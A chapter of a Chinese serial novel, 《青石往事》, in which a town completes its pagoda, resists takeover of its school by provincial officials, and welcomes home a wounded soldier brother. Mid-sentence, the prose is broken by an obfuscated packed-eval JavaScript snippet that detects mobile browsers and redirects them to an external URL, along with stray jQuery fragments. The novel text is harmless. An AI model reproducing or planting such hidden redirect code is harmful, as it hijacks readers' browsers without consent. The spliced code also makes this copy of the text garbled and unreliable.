21. 第二十二章 塔顶
作品:《青石往事》 文峰塔封顶的那天,青石镇万人空巷。
第七层最后一块青石落下时,工匠们敲响了铜锣。哐——哐——哐——声音在青云河两岸回荡,惊起一群白鹭。人们仰头望着,塔在晨光里泛着温润的光,七层八角,飞檐翘角,每一层都挂了铜铃,风一吹,叮当作响。
陈老秀才拄着拐杖站在最前面,老泪纵横:“七十年了……七十年了……塔终于又立起来了!”
张老太爷扶着他:“陈老,塔立起来了,您的心愿了了。”
“了了,了了。”陈老秀才抹着泪,“等塔灯挂上,文曲星就回来了,咱们青石镇,又能出读书人了!”
封顶仪式很简单。张老太爷带着几个乡绅,在塔基前上了香,祭拜了文昌帝君。然后,工匠们开始搭最后的脚手架,准备安装塔刹和铜铃。
张静轩站在人群中,看着塔。这座塔,从开挖地基到封顶,历时三个月。三个月里,青石镇经历了太多——抓马三、救被拐者、破陈继业案、大哥的绝笔信、石场的枪、疤脸汉子的威胁……塔每高一层,青石镇就多一分安宁。
如今塔成了,像一个守护神,静静矗立在青云河边。
“静轩哥,”水生挤到他身边,“塔这么高,能上去吗?”
“能。”张静轩说,“等塔刹装好,铜铃挂上,咱们都上去。”
“俺爹说,塔顶能看到十里外的省城。”
“太远了,看不到省城,但能看到整个青石镇。”
水生仰着头,脖子都酸了:“那俺家的船呢?”
“能看到。青云河像条带子,船像带子上的蚂蚁。”
孩子笑了,笑得灿烂。这是属于孩子的快乐,简单而纯粹。
仪式结束后,张静轩去了学堂。今天虽是塔封顶,但学堂照常上课。苏宛音在教孩子们背《塔赋》——那是陈老秀才写的,文绉绉的,但孩子们背得很认真。
“……巍巍乎若青云之志,荡荡乎如流水之德。镇山河而佑乡土,承文脉而启后昆……”
稚嫩的童音在祠堂里回荡,混着远处塔上工匠的吆喝声,有种奇特的和谐。张静轩站在窗外听着,心里很平静。这就是他想要守护的——孩子们读书的声音,工匠劳作的声音,青石镇日常的声音。
课间时,苏宛音走出来,脸上有疲惫,但眼神明亮。
“塔封顶了。”她说。
“嗯。”张静轩点头,“等塔灯挂上,就更好了。”
“静轩,”苏宛音忽然问,“你大哥……有消息了吗?”
张静轩摇头。一个月了,大哥那边杳无音信。那封绝笔信之后,再没来信。父亲托人去打听,只说前线战事激烈,伤亡名单还没公布。
“会有的。”苏宛音轻声说,“好人会有好报。”
这话是安慰,但张静轩愿意信。他想起大哥信里的话:“为国捐躯,死得其所。”大哥不怕死,但他希望大哥活着。
下午,塔上开始安装塔刹。塔刹是铜铸的,宝瓶形状,阳光下金光闪闪。工匠们用滑轮吊上去,一点点安装到位。这个过程很慢,也很危险,但工匠们很熟练——他们都是老手,修过庙,建过桥,知道怎么在高空作业。
张静轩在塔下看着。塔很高,工匠们的身影在塔顶显得很小,像蚂蚁。但他们很稳,一步一步,把沉重的铜构件安装到位。
忽然,一个工匠脚下一滑,差点掉下来。底下的人惊呼,但那工匠抓住了脚手架,稳住了。张静轩心头一跳,手心出了汗。
“没事!”塔上的工匠喊,“站稳了!”
虚惊一场。工匠们继续工作。张静轩却想起了石场那些被撬松的横木,想起了疤脸汉子怨毒的眼神。虽然孙科长说省城在收网,但真的安全了吗?
他转身往镇公所走。有些事,得问问父亲。
镇公所里,张老太爷正在看一封信,脸色凝重。见儿子进来,把信递给他。
“省城来的。”张老太爷说,“‘老鬼’的案子……结案了。”
张静轩接过信。是孙科长托人捎来的,写得很隐晦,但意思明白:刘秘书“自杀”后,线索断了。上面有人施压,要求结案。那些地契、借据,都被“归档封存”。牵扯到的几个官员,有的调职,有的“病退”,但都没受实质性处罚。
“就这样……完了?”张静轩不敢相信。
“表面完了。”张老太爷说,“但孙科长说,有人在继续查。只是要暗中进行,不能再明着来。”
“那周记者呢?”
“放出来了,但被报社停职了。说他‘报道失实,影响稳定’。”
张静轩握紧了信纸。这就是现实——黑暗不会轻易被清除,它会用更隐蔽的方式,继续存在。刘秘书死了,但“老鬼”还在。陈继业死了,但他背后的势力还在。
“爹,”他轻声说,“咱们……还要小心。”
“我知道。”张老太爷点头,“塔封顶了,但守塔更难。从今天起,要安排人轮流守塔,日夜不停。”
父子俩正说着,卢明远匆匆进来:“张伯父,静轩,码头那边……又来了条船。”
又是船?张静轩心头一紧。
“什么人?”
“说是省城教育厅的,来考察学堂。”卢明远说,“但船的样子……跟上次疤脸汉子那条很像。”
三人立刻往码头赶。码头边,果然停着一条乌篷船,船身漆得乌黑,但挂着旗——省教育厅的旗。船上下来两个人,都穿着中山装,提着公文包。
为首的是个戴眼镜的中年人,看见张老太爷,微微躬身:“张公,久仰。我是教育厅的督学,姓郑。”
又姓郑?张静轩想起之前那个卡拨款的郑副厅长。
“郑督学,”张老太爷还礼,“不知大驾光临,有何贵干?”
“例行考察。”郑督学笑容可掬,“听说青石镇新式学堂办得有声有色,省厅特派我来看看,总结经验,以便推广。”
话说得冠冕堂皇,但张静轩总觉得不对劲——省教育厅刚结案,就派人来考察?时机太巧了。
“欢迎考察。”张老太爷说,“请。”
一行人往学堂走。路上,郑督学不时问这问那:学堂有多少学生?几个先生?开什么课?用什么教材?张静轩一一回答,不卑不亢。
到了学堂,正是课间。孩子们在院子里玩耍,看见生人,都好奇地围过来。水生胆子大,上前问:“先生,您是谁?”
郑督学笑了,摸摸他的头:“我是省城来的,看看你们学堂办得好不好。”
“俺们学堂可好了!”水生挺起小胸脯,“苏先生教算学,程先生教国文,静轩哥还教俺们射箭!”
“射箭?”郑督学看向张静轩,“学堂还教射箭?”
“强身健体。”张静轩说,“身体好了,才能好好读书。”
郑督学点点头,没再问。他走进课堂,看了看黑板上的字,翻了翻学生的作业本,又问了苏宛音和程秋实几个问题。整个过程很客气,但张静轩能感觉到,他的目光在四处打量——不只是看教学,更像在观察什么。
考察持续了一个时辰。临走时,郑督学对张老太爷说:“张公,学堂办得确实不错。省厅会考虑加大支持力度。不过……”他顿了顿,“有些细节,还需要完善。比如安全——我听说,前阵子学堂出过事?”
果然来了。张静轩心里冷笑。
“一点小意外,已经处理了。”张老太爷说。
“那就好。”郑督学微笑,“孩子是国家的未来,安全第一。我会把考察情况如实上报,相信省厅会有进一步指示。”
送走郑督学,卢明远低声说:“这个人……有问题。”
“我知道。”张老太爷说,“但他顶着省厅的名头,咱们不能怠慢。静轩,你去查查他的船。”
张静轩和赵哥去了码头。郑督学的船已经走了,但码头上还有痕迹——船停泊时,在淤泥里留下了清晰的印子。赵哥蹲下身仔细看,脸色变了。
“这船……吃水很浅。”他说,“如果是教育厅的公务船,应该载着文件、物资,吃水会深些。但这船的印子,跟上次疤脸汉子那条差不多。”
“你是说……”
“船是空的,或者只载了人。”赵哥站起来,“他们根本不是来考察,是来探路的。”
探路?探什么路?张静轩想起石场那些枪,想起疤脸汉子扔在码头上的银元。这些人,到底想干什么?
回到张家,他把发现说了。张老太爷沉吟良久,说:“不管他们想干什么,咱们做好准备。从今晚起,加派人手守塔、守学堂、守码头。另外,通知街坊们,最近少出门,尤其晚上。”
夜幕降临,青石镇进入了高度戒备状态。周大栓和李铁匠组织了四十个青壮,分成四组,每组十人,轮流巡逻。塔的工地上搭了棚子,守夜的人就住在里面,刀、棍、甚至几杆土枪,都准备好了。
学堂那边,苏宛音和程秋实暂时住到了张家——这是张老太爷坚持的,怕他们出事。孩子们放学后,家长直接接回家,不在外逗留。
整个青石镇,像一张绷紧的弓。
夜里,张静轩站在自家院子里,看着远处的文峰塔。塔已经完工了,塔刹在月光下泛着冷光,塔灯还没挂,但塔身已经亮起来了——是守夜人点的灯笼,挂在每一层的飞檐下,远远看去,像一串明珠。
很美,但美得让人心慌。
他知道,这是暴风雨前的宁静。
第二天,省教育厅的公函到了。措辞很客气,肯定了青石镇学堂的办学成绩,但提出了几点“建议”:一是教材需“统一审核”,二是先生资质需“重新认证”,三是学堂安全需“全面评估”。公函末尾说,下周会派工作组进驻,“协助整改”。
“协助整改”——这四个字,意味深长。
张静轩看着公函,冷笑:“终于来了。”
“他们要干什么?”卢明远问。
“接管。”张老太爷说得很直接,“先找茬,然后派自己的人进来,慢慢把学堂变成他们的。”
“那怎么办?”
“拖。”张老太爷说,“拖一天是一天。工作组来了,好好接待,但该做什么还做什么。他们提要求,咱们可以‘研究研究’‘考虑考虑’。官场那套,我也会。”
接下来的几天,青石镇表面平静,但底下暗流汹涌。街坊们都知道了省厅要来人的事,议论纷纷:
“好好的学堂,他们凭什么插手?”
“还不是眼红咱们办得好!”
“听说那个郑督学,是郑副厅长的堂弟……”
“难怪!一丘之貉!”
民气愤慨,但无济于事。省厅的公函是正式文件,不能不接。
就在工作组要来的前一天,转机出现了。
傍晚时分,一辆马车驶进青石镇。马车很普通,但赶车的人穿着军装。马车在张家门口停下,车上下来一个人——穿着褪色的军装,左臂缠着绷带,右手拄着拐杖,脸上有伤疤,但眼神明亮。
是大哥。
张静轩正在院子里练箭,看见那个人影,手里的弓掉了。
“大哥……”
张静远拄着拐杖走过来,脚步有些瘸,但很稳。他走到弟弟面前,笑了笑:“静轩,长高了。”
张静轩扑上去抱住大哥,眼泪止不住地流。几年了,他以为再也见不到大哥了。
“别哭。”张静远拍拍他的背,“哥这不是回来了吗?”
张老太爷闻声出来,看见儿子,老泪纵横:“静远……你还活着……”
“活着。”张静远说,“受了伤,在医院躺了一个月。伤好了,就请假回来了。”
父子三人抱在一起,久久没分开。
夜里,张家灯火通明。福伯做了满满一桌菜,都是张静远爱吃的。周大栓、李铁匠、陈老秀才、卢明远都来了,苏宛音和程秋实也在。众人围坐一桌,听张静远讲前线的事。
“……那一仗打得很惨,我们连一百二十人,活下来的不到三十个。”张静远声音平静,但握着酒杯的手在抖,“我中了三枪,两枪在腿上,一枪在肩上。倒下去的时候,以为死定了。后来是担架队把我拖下来的,在医院躺了一个月,才捡回条命。”
众人听得心惊。张静轩看着大哥——军装下的身体,瘦了很多,但脊背挺直。脸上的伤疤是新的,从左眉骨划到脸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140663|196314||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
颊,像一条蜈蚣。
“大哥,”他轻声问,“还回去吗?”
“回。”张静远说,“伤好了就回。仗还没打完。”
这话说得平淡,但字字千钧。张老太爷的眼眶又红了,但没说什么,只是给儿子夹菜。
饭后,张静轩带大哥去看文峰塔。月光下,塔静静矗立,像守护神。
“塔修好了。”张静轩说,“明天挂塔灯。”
“好。”张静远仰头看着,“等灯挂上了,我在前线也能看见。”
“大哥,”张静轩忽然问,“你在前线,怕吗?”
张静远沉默片刻:“怕。每次冲锋都怕。但怕也得冲——因为后面就是老百姓,就是像青石镇这样的地方。我们退了,这些地方就没了。”
这话和张静轩在省城年会上说的一样。兄弟俩,在不同的战场,明白了一样的道理。
“对了,”张静远从怀里掏出个小布包,“这个,给你。”
张静轩打开,里面是一枚弹壳,已经磨得发亮,上面刻着字:“守土”。
“这是我从战场上捡的。”张静远说,“刻了字,留个念想。你在后方,也是守土。”
张静轩握紧弹壳。金属冰凉,但很快被体温焐热。
兄弟俩在塔下站了很久,直到夜深。
第二天,挂塔灯的日子。
塔灯是特制的,玻璃罩,铜架子,里面能点三根蜡烛,外面还能防风。工匠们用滑轮把灯吊到塔顶,安装在塔刹下方。张静远亲自上去安装——他虽然腿脚不便,但坚持要上去。
“我在前线,看不见青石镇的灯。”他说,“但我装的灯,前线的人能看见。”
灯装好了。正午时分,张老太爷点燃了第一根蜡烛。火焰跳动,透过玻璃罩,发出温暖的光。
“塔灯亮了——”福伯拉长了声音。
青石镇的人都仰头看着。七层高的塔,塔顶的灯像一颗星星,在白天也清晰可见。风吹过,铜铃叮当作响,混着人们的欢呼声。
就在这时,码头那边传来消息:省教育厅的工作组来了。
一艘官船停在码头,下来五个人,都穿着中山装,提着公文包。为首的是个矮胖的中年人,自称是王组长。
张静轩和父亲去迎接。王组长很客气,但眼神倨傲。
“张公,”他说,“省厅很重视青石镇学堂,特派我们来‘协助’工作。这是我们的任命书。”
任命书上盖着省教育厅的红章,确实是真的。
“欢迎。”张老太爷说,“不过今天塔灯初亮,镇上有庆祝活动。工作的事,可否明日再谈?”
王组长看了看远处的人群,又看了看高耸的文峰塔,点头:“也好。那就明日。”
工作组被安排在镇公所的客房住下。张静轩派人暗中盯着——他发现,工作组的人虽然表面客气,但私下里在悄悄打听青石镇的情况,尤其是学堂的经费来源、先生背景、学生家庭。
果然来者不善。
夜里,张静轩和大哥在书房商量。
“他们是冲着学堂来的。”张静轩说,“想接管,或者……搞垮。”
“那就让他们接不了,也垮不了。”张静远说,“我在前线打仗,知道一个道理——最好的防守,是进攻。”
“怎么进攻?”
张静远笑了,笑容里有些狡黠:“明天,我带他们去塔上看看。”
第二天,王组长带着工作组来到学堂。他们检查了教材,翻看了教案,又听了苏宛音和程秋实的课。整个过程很正式,但挑不出毛病——学堂的一切都合规。
课后,张静远拄着拐杖出现了。他穿着军装,虽然腿脚不便,但军人的气质掩盖不住。
“王组长,”他敬了个军礼,“我是张静远,青石镇人,在前线当兵。听说省厅来人考察学堂,我想请各位去塔上看看——从塔顶看青石镇,看得清楚。”
王组长一愣,但不好拒绝。
一行人上了塔。塔有七层,楼梯很窄,爬起来费力。王组长爬到第三层就喘气了,但张静远腿脚不便,却爬得很稳。
到了塔顶,视野豁然开朗。整个青石镇尽收眼底——青云河像条玉带,码头像带子上的扣子,学堂的屋顶青灰一片,街巷纵横,炊烟袅袅。
“王组长,”张静远指着远处,“您看,那就是我们的学堂。那里有二十八个孩子,他们的父母,有的是船工,有的是铁匠,有的是卖豆腐的。他们送孩子来读书,不是想让孩子当官发财,是想让孩子识几个字,明几个理,将来活得有尊严。”
王组长没说话。
“我在前线打仗,”张静远继续说,“每天都有兄弟倒下。我们为什么打?就是为了让像青石镇这样的地方,能安安稳稳地过日子,让孩子能安安稳稳地读书。”
他转过身,看着王组长:“省厅要‘协助’办学,我们欢迎。但要是想把这所学堂变成某些人的工具,或者想毁了它——”他顿了顿,“青石镇的老百姓不答应,我在前线的兄弟们,也不答应。”
这话说得硬气。王组长脸色变了变,但强笑道:“张先生误会了,我们真是来帮忙的……”
“那就好。”张静远笑了,“那请王组长回去禀报:青石镇学堂,会一直办下去。不管谁来,不管什么理由,都办下去。”
从塔上下来,工作组的脸色都不好看。当天下午,他们就收拾东西走了,说“考察结束,回去汇报”。
官船离开码头时,张静轩和大哥站在岸边看着。
“他们会善罢甘休吗?”张静轩问。
“不会。”张静远说,“但至少,他们知道青石镇不是软柿子。下次再来,会掂量掂量。”
官船渐行渐远,最后消失在青云河的拐弯处。
张静轩松了口气。这场危机,暂时过去了。
但大哥说得对——不会善罢甘休。黑暗不会消失,只会换种方式再来。
但没关系。
只要塔在,灯在,学堂在,青石镇的人心在。
他们就不怕。
兄弟俩并肩站着,看着青云河奔流不息。
河水带走了官船,也带走了暂时的危机。

